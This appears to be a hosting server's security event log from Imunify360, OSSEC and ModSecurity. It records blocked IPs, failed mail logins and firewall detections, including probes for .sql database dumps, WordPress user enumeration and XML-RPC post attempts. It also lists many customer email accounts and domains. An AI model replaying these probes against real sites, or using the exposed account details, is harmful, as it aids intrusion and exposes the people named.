plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.85.69.22
country_id: 2017370
description:
2026-01-12 18:09:50 dovecot_login authenticator failed for H=(22.69.85.194.in-addr.arpa) [194.85.69.22]:49090: 535 Incorrect authentication data (set_id=mohamad.haznil@manforce.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.214.10.21
country_id: 2750405
description:
2026-01-12 18:11:25 H=([185.214.10.21]) [185.214.10.21]:53645 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<info@mkmetal.com.my> rejected RCPT <info@mkmetal.com.my>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 18:15:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52481: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 18:15:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52482: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.74.240.225
country_id: 2510769
description:
Jan 12 18:16:20 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.74.240.225 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.183.162.243
country_id: 1814991
description:
Jan 12 18:18:25 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.183.162.243 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.183.162.243
country_id: 1814991
description:
2026-01-12 18:18:27 dovecot_login authenticator failed for H=([39.183.162.243]) [39.183.162.243]:37840: 535 Incorrect authentication data (set_id=william.goh@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.114.149.106
country_id: 1814991
description:
Jan 12 18:19:05 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.114.149.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.114.149.106
country_id: 1814991
description:
2026-01-12 18:19:07 dovecot_login authenticator failed for H=([124.114.149.106]) [124.114.149.106]:57169: 535 Incorrect authentication data (set_id=william.goh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.76.67
country_id: 3469034
description:
Jan 12 18:20:59 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.76.67 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.76.67
country_id: 3469034
description:
Jan 12 18:21:13 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.76.67 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.199.118.23
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:18-21.185.199.118.23||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.1.167
country_id: 690791
description:
Jan 12 18:23:35 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.1.167 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.202.108.190
country_id: 798544
description:
Jan 12 18:25:04 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.202.108.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.202.108.190
country_id: 798544
description:
Jan 12 18:25:11 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.202.108.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.80.173.2
country_id: 3865483
description:
Jan 12 18:25:14 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.80.173.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.72
country_id: 798544
description:
Jan 12 18:25:54 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.72 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.197
country_id: 3469034
description:
Jan 12 18:26:42 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.197 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 18:27:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58181: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 167.249.143.9
country_id: 3469034
description:
Jan 12 18:27:04 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 167.249.143.9 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 18:27:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58182: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.135.135.110
country_id: 1210997
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&page_id=8 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 167.249.143.9
country_id: 3469034
description:
Jan 12 18:27:12 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 167.249.143.9 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 156.214.91.109
country_id: 357994
domain: www.dsc-expat.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/143.0.0.0 Safari/537.36||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.55.198
country_id: 6252001
description:
2026-01-12 18:29:31 dovecot_plain authenticator failed for H=([178.16.55.198]) [178.16.55.198]:60963: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.55.198
country_id: 6252001
description:
Jan 12 18:29:29 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.55.198 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.55.198
country_id: 6252001
description:
2026-01-12 18:30:28 dovecot_plain authenticator failed for H=([178.16.55.198]) [178.16.55.198]:53260: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.55.198
country_id: 6252001
description:
Jan 12 18:30:26 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.55.198 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.31.70.71
country_id: 1269750
description:
2026-01-12 18:31:48 dovecot_plain authenticator failed for H=(CEJ5O) [47.31.70.71]:53836: 535 Incorrect authentication data (set_id=kumara.rao@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 74.12.125.23
country_id: 6251999
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/afraid/15/535/1559495 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 113.211.111.0
country_id: 1733045
description:
[2026-01-12 18:32:31 +0800] info [webmaild] 113.211.111.0 - s-osada@mckd.com.my "GET /cpsess6623153640/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.74.139.136
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=812301 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.182.188.246
country_id: 3865483
domain: ahfengineering.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahfengineering.com/cgi-bin HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.222.167.163
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=982714 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 50.3.159.170
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:18-36.50.3.159.170||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 128.106.168.241
country_id: 1880251
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<ul style=\"margin-top: 0in;\" type=\"disc\">\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">update report for export &amp; import schedule (new order &amp; update existing order).&nbsp;</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">request final bl from tvs for sejoong order.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">follow up draft bl from greenpen for ceec order.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">arrange rfa for phyto cert for rbprc order.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">send pre alert docs to bt forwarding for rbprc order.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">prepare do to ffc for delivery arrangement to gzhkjc.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">follow up draft docs from havens.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">follow up invoice from bt forwarding for rbprc order.</span></li>\r\n</ul>||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.110.118.44
country_id: 732800
description:
Jan 12 18:41:54 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.110.118.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.36.202.27
country_id: 3469034
description:
Jan 12 18:42:00 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.36.202.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.109.178.59
country_id: 1269750
description:
Jan 12 18:41:40 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.109.178.59 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 18:43:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52624: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.36.202.27
country_id: 3469034
description:
Jan 12 18:42:08 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.36.202.27 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.215.236.119
country_id: 895949
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/dress/367/434269 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 110.235.178.40
country_id: 1694008
domain: af-sb.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:74724.af-sb.com||ServerName:af-sb.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7e2849c2a4a65feb5c82f2802c5491590e36e3e7||Title:0xf05e634a||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 18:43:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52625: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.157
country_id: 798544
description:
Jan 12 18:45:07 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.157 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.157
country_id: 798544
description:
Jan 12 18:45:14 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.157 has been locked due to Imunify RBL


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 110.235.178.40
country_id: 1694008
domain: af-sb.com
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:7.62||T:APACHE||MV:/wp-json/wp/v2/users||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 110.235.178.40
country_id: 1694008
domain: af-sb.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.af-sb.com||ServerName:af-sb.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b6bb58b3dfcfc197c2d9940ed2f173a95837c7fd||Title:0xea1e7a10||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.51.31.167
country_id: 1733045
description:
2026-01-12 18:49:26 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.196]) [60.51.31.167]:57569: 535 Incorrect authentication data (set_id=kasim_kn@ajplantations.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 110.235.178.40
country_id: 1694008
domain: af-sb.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.af-sb.com||ServerName:af-sb.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:94900d7705e2a2c5ca2ac26f6296263ed9ac948d||Title:0x6bf87b72||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 141.98.10.127
country_id: 597427
description:
2026-01-12 18:49:52 H=([141.98.10.127]) [141.98.10.127]:57992 F=<info@tne-systems.com> rejected RCPT <stevenng@fkr.com.my>: Mail to stevenng@fkr.com.my has been suspended


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 194.105.159.158
country_id: 6252001
domain: www.gagasanteguh.com.my
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/data.sql||User:gagasanteguhcom||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 110.235.178.40
country_id: 1694008
domain: af-sb.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.af-sb.com||ServerName:af-sb.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3654a6e15b9b22fff7bbbb27957e243c044d7b95||Title:0x20a18985||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 36.47.77.135
country_id: 1814991
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 111.29.223.189
country_id: 1814991
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/concrete/js/jquery.js HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.213.48
country_id: 933860
description:
Jan 12 18:52:12 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.213.48 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.30.83.186
country_id: 1269750
description:
Jan 12 18:52:33 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.30.83.186 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.51.31.167
country_id: 1733045
description:
2026-01-12 18:52:58 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.196]) [60.51.31.167]:50331: 535 Incorrect authentication data (set_id=kasim_kn@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.51.31.167
country_id: 1733045
description:
2026-01-12 18:53:10 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.196]) [60.51.31.167]:61415: 535 Incorrect authentication data (set_id=kasim_kn@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 18:55:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58214: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 60.218.69.220
country_id: 1814991
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.inter-link.edu.my/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.51.31.167
country_id: 1733045
description:
2026-01-12 18:55:48 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.196]) [60.51.31.167]:61508: 535 Incorrect authentication data (set_id=kasim_kn@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.4
country_id: 3469034
description:
Jan 12 18:55:58 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.4 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.46.253
country_id: 953987
description:
Jan 12 18:55:59 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.46.253 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.45.194
country_id: 953987
description:
Jan 12 18:56:06 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.45.194 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 18:55:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58215: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.33.64
country_id: 953987
description:
Jan 12 18:55:58 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.33.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.42.226
country_id: 953987
description:
Jan 12 18:55:58 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.42.226 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.96.199.126
country_id: 3865483
description:
Jan 12 18:55:59 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.96.199.126 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.46.253
country_id: 953987
description:
Jan 12 18:56:13 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.46.253 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.96.199.126
country_id: 3865483
description:
Jan 12 18:56:13 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.96.199.126 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.202.108.47
country_id: 798544
description:
Jan 12 18:56:20 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.202.108.47 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.42.226
country_id: 953987
description:
Jan 12 18:56:12 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.42.226 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.45.97
country_id: 953987
description:
Jan 12 18:56:24 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.45.97 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.4
country_id: 3469034
description:
Jan 12 18:56:13 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.4 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.118.35.3
country_id: 1269750
description:
Jan 12 18:56:33 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.118.35.3 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.236.174.20
country_id: 798544
description:
Jan 12 18:56:35 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.236.174.20 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 216.26.229.246
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:18-56.216.26.229.246||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.33.64
country_id: 953987
description:
Jan 12 18:56:12 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.33.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.45.194
country_id: 953987
description:
Jan 12 18:56:15 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.45.194 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.124.182.88
country_id: 3175395
description:
Jan 12 18:58:24 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.124.182.88 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.51.31.167
country_id: 1733045
description:
2026-01-12 18:58:38 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.196]) [60.51.31.167]:51298: 535 Incorrect authentication data (set_id=kasim_kn@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.76.203
country_id: 3469034
description:
Jan 12 18:59:48 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.76.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.122.97.96
country_id: 3996063
description:
Jan 12 19:00:10 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.122.97.96 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-12 19:00:50 H=([45.144.212.242]) [45.144.212.242]:55421 F=<no_reply@admin.com> rejected RCPT <garylee@autogreastar.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.161.232.82
country_id: 1269750
description:
Jan 12 19:06:09 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.161.232.82 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.59.19.112
country_id: 298795
description:
Jan 12 19:06:26 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.59.19.112 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.59.19.112
country_id: 298795
description:
2026-01-12 19:06:28 dovecot_login authenticator failed for H=([188.59.19.112]) [188.59.19.112]:40004: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.218.0.146
country_id: 1668284
description:
Jan 12 19:07:08 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.218.0.146 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.104.44.66
country_id: 3865483
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=8&sub=10 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.218.0.146
country_id: 1668284
description:
2026-01-12 19:07:10 dovecot_login authenticator failed for H=61-218-0-146.hinet-ip.hinet.net [61.218.0.146]:35673: 535 Incorrect authentication data (set_id=william.goh@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.107.155.200
country_id: 798544
description:
Jan 12 19:08:46 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.107.155.200 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 19:11:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:54577: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 91.231.142.130
country_id: 6252001
domain: www.pspoly.com.my
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/pspoly.sql||User:pspolycom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 19:11:17 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:54578: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.226.140.147
country_id: 3469034
domain: agsaintifik.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/agsaintifik.com.my/laboratory-consumables/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.7.248.50
